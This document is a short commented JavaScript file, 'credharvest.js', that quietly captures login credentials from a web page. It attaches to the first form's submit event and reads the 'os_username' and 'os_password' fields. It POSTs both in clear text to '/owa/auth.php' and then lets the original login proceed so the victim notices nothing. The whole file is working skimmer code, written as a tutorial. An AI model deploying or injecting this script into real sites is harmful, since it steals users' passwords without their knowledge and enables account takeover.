credharvest.js

//The window "load" event is fired when the whole page has loaded, 
//including all dependent resources such as stylesheets and images.
//Read more: https://developer.mozilla.org/en-US/docs/Web/API/Window/load_event
window.addEventListener("load", function() {

  //This assumes the target form is the first on the page, if not change the index.
  //Attaching to the "submit" event on that form
  document.forms[0].addEventListener("submit", function(e) {
    
    //Prevent the default form submit
    e.preventDefault();
    
    //Grab the value of the email and password input fields
    var u = document.getElementsByName("os_username")[0].value;
    //var u = document.forms[0].elements[0].value;
    var p = document.getElementsByName("os_password")[0].value;
    //var p = document.forms[0].elements[1].value;
    
    //Create an XMLHttpRequest 
    //XMLHttpRequest (XHR) objects are used to interact with servers. 
    //You can retrieve data from a URL without having to do a full page refresh. 
    //This enables a Web page to update just part of a page without disrupting 
    //what the user is doing. XMLHttpRequest is used heavily in AJAX programming.
    //Read more: https://developer.mozilla.org/en/docs/Web/API/XMLHttpRequest
    var xhr = new XMLHttpRequest();

    //When XHR request successfully posts data, submit form to original location.
    xhr.onreadystatechange = function() {
    if (xhr.readyState == 4 && xhr.status == 200) {
        document.forms[0].submit();
        }
    }

    //Specify the URL endpoint
    var url = '/owa/auth.php';
    //Build your POST parameters with the form field values
    var params = 'username=' + u + '&password=' + p;
    
    //Send the XHR
    xhr.open('POST', url, true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(params);

  })

});